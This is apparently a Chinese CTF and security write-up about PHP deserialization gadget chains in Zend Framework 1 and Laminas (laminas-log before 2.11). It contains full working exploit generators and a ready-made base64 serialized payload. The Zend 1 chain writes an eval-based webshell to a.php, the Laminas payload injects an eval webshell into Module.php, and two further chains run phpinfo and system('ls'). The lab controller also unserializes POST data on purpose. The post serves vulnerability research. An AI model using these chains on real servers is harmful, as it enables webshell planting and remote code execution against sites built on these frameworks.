kaixin大佬tql!
前言
在2020-11-23
号,在twitter
上看到有师傅发了,Zend Framework
框架的一条反序列化链。之后也分析了下,找到了几条链子,之后跟了跟其他版本的,都是存在反序列化漏洞的。然后就出了两个题目,一个 最新版的 laminas 和一个ZendFramework 1 的链子。来写下文章抛砖引玉吧,应该还是有很多的链子的。
1. ZEND 1反序列化链分析
1.1 获取源码&创建zf1项目
其实一开始照这个框架就找了我一阵,因为zend framework
已经到了zf4
(laminas)了,而这个反序列化链子是zf1
,所以我们需要先从https://github.com/zendframework/zf1
中下载到源码,然后使用
然后进入bin
目录使用如下命令,来创建一个项目目录web1
。接着我们把libary
中的Zend
目录移动到项目目录web1/libary
中
zf create project web1
这样我们就得到了一个zf1
框架。接着我们修改一下application\controllers\IndexController.php
<?php
class IndexController extends Zend_Controller_Action
{
public function init()
{
/* Initialize action controller here */
}
public function indexAction()
{
// action body
unserialize(base64_decode($_POST['Mrkaixin']));
return "Mrkaixin";
}
}
1.2 图说POP链
先抛出整个利用栈吧。
Callback.php:150, Zend_Filter_Callback->filter()
Inflector.php:473, Zend_Filter_Inflector->filter()
Layout.php:780, Zend_Layout->render()
Mail.php:371, Zend_Log_Writer_Mail->shutdown()
Log.php:366, Zend_Log->__destruct()
IndexController.php:14, IndexController->indexAction()
...
Application.php:384, Zend_Application->run()
index.php:26, {main}()
整个pop链切入点在library\Zend\Log.php
中的__destruct
这里遍历了$this->_writers
,并且触发了其中对象的shutdown()
方法。这里我们使用的是Zend_Log_Writer_Mail
这个类的shutdown()
接着跟进这个filter
这里其实可以看到这个链子的亮点就是,两个filter
函数的调用。以及最后的create_function
的命令注入。给人的感觉就是这个链子非常连贯。赞
1.3. 挖掘潜藏的反序列化链
这里其实还有很多的链子,这里丢一条挺简单的链子。
1.3.1 写Shell
先放上调用栈
File.php:464, Zend_CodeGenerator_Php_File->write()
Yaml.php:104, Zend_Config_Writer_Yaml->render()
Mail.php:371, Zend_Log_Writer_Mail->shutdown()
Log.php:366, Zend_Log->__destruct()
IndexController.php:14, IndexController->indexAction()
...
Application.php:384, Zend_Application->run()
index.php:26, {main}()
我们使用public function render\(\)
这个正则来搜索一下,有没有可以利用的render()
函数。
最后锁定了library\Zend\Config\Writer\Yaml.php
public function render()
{
// 这里可以自己跟一下,很简单就可以绕过的。
// $data 可以是任意的。
$data = $this->_config->toArray();
$sectionName = $this->_config->getSectionName();
$extends = $this->_config->getExtends();
if (is_string($sectionName)) {
$data = array($sectionName => $data);
}
foreach ($extends as $section => $parentSection) {
$data[$section][Zend_Config_Yaml::EXTENDS_NAME] = $parentSection;
}
// Ensure that each "extends" section actually exists
foreach ($data as $section => $sectionData) {
if (is_array($sectionData) && isset($sectionData[Zend_Config_Yaml::EXTENDS_NAME])) {
$sectionExtends = $sectionData[Zend_Config_Yaml::EXTENDS_NAME];
if (!isset($data[$sectionExtends])) {
// Remove "extends" declaration if section does not exist
unset($data[$section][Zend_Config_Yaml::EXTENDS_NAME]);
}
}
}
return call_user_func($this->getYamlEncoder(), $data);
}
这里我们可以看到,最后的call_user_func($this->getYamlEncoder(), $data);
。其实这里我利用的可变函数
这个点,来扩大利用。看下面这个demo
跟进一下$this->getYamlEncoder()
函数。
可以发现这个可控的,所以我们可以另其为一个数组,其中第一个函数是类,然后第二个参数是类中的方法名。那么我们就可以利用这个技巧,调用任何类中的任何方法。
所以这里我们找一下,有没有直接写shell的点。
这里通过搜索,我们找到了一个,没有参数的write
方法,并且这个方法中的一些参数,都是我们完全可以控制的。我们接着跟进一下$this->generate()
这里我们可以看到,body
是我们可以控制的,并且直接拼接到了output
当中,所以我们写入的内容也是可控的。所以答案也就呼之欲出了
<?php
class Zend_Mail
{
}
class Zend_Log
{
protected $_writers;
function __construct()
{
$this->_writers = [new Zend_Log_Writer_Mail()];
}
}
class Zend_Log_Writer_Mail
{
protected $_eventsToMail;
protected $_mail;
protected $_layoutEventsToMail;
protected $_layout;
function __construct()
{
$this->_mail = new Zend_Mail();
$this->_eventsToMail = [1];
$this->_layoutEventsToMail = "";
$this->_layout = new Zend_Config_Writer_Yaml();
}
}
class Zend_CodeGenerator_Php_File
{
protected $_filename;
protected $_body;
function __construct()
{
$this->_filename = "a.php";
$this->_body = '@eval(base64_decode($_POST["Mrkaixin"]));';
}
}
class Zend_Config
{
protected $_data;
protected $_loadedSection;
protected $_extends;
function __construct()
{
$this->_loadedSection = "Mrkaixin";
$this->_data = [];
$this->_extends = "Mrkaixin";
}
}
class Zend_Config_Writer_Yaml
{
protected $events;
protected $_config;
protected $_yamlEncoder;
function __construct()
{
$this->events = "Mrkaixin";
$this->_config = new Zend_Config();
$this->_yamlEncoder = [new Zend_CodeGenerator_Php_File(), 'write'];
}
}
echo base64_encode(serialize(new Zend_Log()));
2 Laminas反序列化链
Laminas 其实可以理解成为是最新版的Zend Framework。其实这个框架中也是有很多的链子,可以直接RCE甚至getshell,这里简单说几种抛砖引玉吧。
受影响的组件
laminas/laminas-log versions prior to 2.11
描述
在最新版 laminas/laminas-mvc-skeleton
(1.2.x-dev 12ff936) version之前,如果用户安装了 laminas/laminas-log
。在二次开发的过程中,如果出现了可控的反序列化点,那么就可以直接利用反序列化攻击,来getshell以及rce。
Vulnerability verification
使用
composer create-project -sdev laminas/laminas-mvc-skeleton my-application
来下载源码并且安装
laminas/laminas-log
Would you like to install logging support? y/N
y
Would you like to install MVC-based console support? (We recommend migrating to zf-console, symfony/console, or Aura.CLI) y/N
Will install laminas/laminas-log (^2.11)
When prompted to install as a module, select application.config.php or modules.config.php
y
2.1 设置反序列化入口
搭好环境之后,我们在module\Application\src\Controller\IndexController.php
设置一个反序列化的点。
然后碰到的最多的一个问题就是,怎么访问到这个Action。这里翻阅一下开发文档就知道,这个框架的路由都是写在module\Application\config\module.config.php
中的。
其中就自带了如何访问这个Action
。但是我们如果直接访问http://your-ip/public/application[/:action]
会发现404。
其实稍微熟悉mvc框架的同学一定知道,大多数的mvc框架都有一个入口文件,而这里的入口文件就是index.php
。所以我们要通过这个路由文件去访问路由才能正常访问到。所以我们访问一下http://your-ip/public/index.php/application[/:action]
就可以顺利访问到这个Action
至此,我们就找到了我们的反序列化的点。
2.2 图说POP链。
这里其实可以找到很多链子,有很多师傅也找到了一些rce的链子,那么如何GETSHELL呢?
可变参数我们屡见不鲜了,已经在很多场CTF中出现了,这里就不在赘述了.
这里我们已经可以执行任意类的任意方法了。所以根据题目描述,最终的反序列化的重点是getshell,所以我们需要找一条可以直通file_put_contents
的路。
所以整个的答案就呼之欲出了,下面给出调用栈。
AbstractInjector.php:379, Laminas\ComponentInstaller\Injector\ApplicationConfigInjector->remove()
PhpRenderer.php:396, call_user_func_array:{H:\phpstudy_pro\WWW\cms\laminas\my-application\vendor\laminas\laminas-view\src\Renderer\PhpRenderer.php:396}()
PhpRenderer.php:396, Laminas\View\Renderer\PhpRenderer->__call()
Mail.php:191, Laminas\View\Renderer\PhpRenderer->setBody()
Mail.php:191, Laminas\Log\Writer\Mail->shutdown()
PhpRenderer.php:396, call_user_func_array:{H:\phpstudy_pro\WWW\cms\laminas\my-application\vendor\laminas\laminas-view\src\Renderer\PhpRenderer.php:396}()
PhpRenderer.php:396, Laminas\View\Renderer\PhpRenderer->__call()
Logger.php:220, Laminas\View\Renderer\PhpRenderer->shutdown()
Logger.php:220, Laminas\Log\Logger->__destruct()
IndexController.php:25, Application\Controller\IndexController->evilAction()
AbstractActionController.php:77, Application\Controller\IndexController->onDispatch()
EventManager.php:331, Laminas\EventManager\EventManager->triggerListeners()
EventManager.php:188, Laminas\EventManager\EventManager->triggerEventUntil()
AbstractController.php:105, Application\Controller\IndexController->dispatch()
DispatchListener.php:139, Laminas\Mvc\DispatchListener->onDispatch()
EventManager.php:331, Laminas\EventManager\EventManager->triggerListeners()
EventManager.php:188, Laminas\EventManager\EventManager->triggerEventUntil()
Application.php:331, Laminas\Mvc\Application->run()
index.php:42, {main}()
exp如下:(代码有点冗余,所以这里就不给文本了)师傅们自己复现一下吧
运行得到:
TzoxNToiWmVuZFxMb2dcTG9nZ2VyIjoxOntzOjEwOiIAKgB3cml0ZXJzIjthOjE6e2k6MDtPOjMwOiJaZW5kXFZpZXdcUmVuZGVyZXJcUGhwUmVuZGVyZXIiOjE6e3M6OToiX19oZWxwZXJzIjtPOjE4OiJaZW5kXENvbmZpZ1xDb25maWciOjE6e3M6NzoiACoAZGF0YSI7YToxOntzOjg6InNodXRkb3duIjthOjI6e2k6MDtPOjIwOiJaZW5kXExvZ1xXcml0ZXJcTWFpbCI6Mzp7czo3OiIAKgBtYWlsIjtPOjMwOiJaZW5kXFZpZXdcUmVuZGVyZXJcUGhwUmVuZGVyZXIiOjE6e3M6OToiX19oZWxwZXJzIjtPOjE4OiJaZW5kXENvbmZpZ1xDb25maWciOjE6e3M6NzoiACoAZGF0YSI7YToxOntzOjc6InNldEJvZHkiO2E6Mjp7aTowO086NTg6IlplbmRcQ29tcG9uZW50SW5zdGFsbGVyXEluamVjdG9yXEFwcGxpY2F0aW9uQ29uZmlnSW5qZWN0b3IiOjQ6e3M6MTg6IgAqAGNsZWFuVXBQYXR0ZXJucyI7YToyOntzOjc6InBhdHRlcm4iO3M6MjoiLy8iO3M6MTE6InJlcGxhY2VtZW50IjtzOjA6IiI7fXM6MjI6IgAqAGlzUmVnaXN0ZXJlZFBhdHRlcm4iO3M6NDoiLy4rLyI7czoxODoiACoAcmVtb3ZhbFBhdHRlcm5zIjthOjI6e3M6NzoicGF0dGVybiI7czo4OiIvPFw/cGhwLyI7czoxMToicmVwbGFjZW1lbnQiO3M6MzQ6ImE9Ijw/cGhwIEBldmFsKCRfUE9TVFsiaGVsbG8iXSk7Pz4iO31zOjEwOiJjb25maWdGaWxlIjtzOjMzOiJtb2R1bGUvQXBwbGljYXRpb24vc3JjL01vZHVsZS5waHAiO31pOjE7czo2OiJyZW1vdmUiO319fX1zOjIxOiIAKgBzdWJqZWN0UHJlcGVuZFRleHQiO047czoxMjoiZXZlbnRzVG9NYWlsIjthOjI6e2k6MDtzOjE6Ii8iO2k6MTtzOjE6Ii8iO319aToxO3M6ODoic2h1dGRvd24iO319fX19fQ==
2.4条条大路通罗马
2.4.1 GETSHELL
另一条写shell的链子
以及一些师傅的RCE的链子
2.4.2 RCE 1
<?php
namespace Zend\View\Renderer;
use Zend\Config\Config;
class PhpRenderer
{
function __construct()
{
$this->__helpers = new Config();
}
}
namespace Zend\Config;
class Config {
protected $data = [];
function __construct()
{
$this->data = ['shutdown'=>"phpinfo"];
}
}
namespace Zend\Log;
use Zend\View\Renderer\PhpRenderer;
class Logger
{
protected $writers;
function __construct()
{
$this->writers = [new PhpRenderer()];
}
}
echo base64_encode(serialize(new Logger()));
2.4.3 RCE2
<?php
namespace Laminas\View\Resolver{
class TemplateMapResolver{
protected $map = ["setBody"=>"system"];
}
}
namespace Laminas\View\Renderer{
class PhpRenderer{
private $__helpers;
function __construct(){
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}
namespace Laminas\Log\Writer{
abstract class AbstractWriter{}
class Mail extends AbstractWriter{
protected $eventsToMail = ["ls"];
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}
namespace Laminas\Log{
class Logger{
protected $writers;
function __construct(){
$this->writers = [new \Laminas\Log\Writer\Mail()];
}
}
}
namespace{
$a = new \Laminas\Log\Logger();
echo base64_encode(serialize($a));
}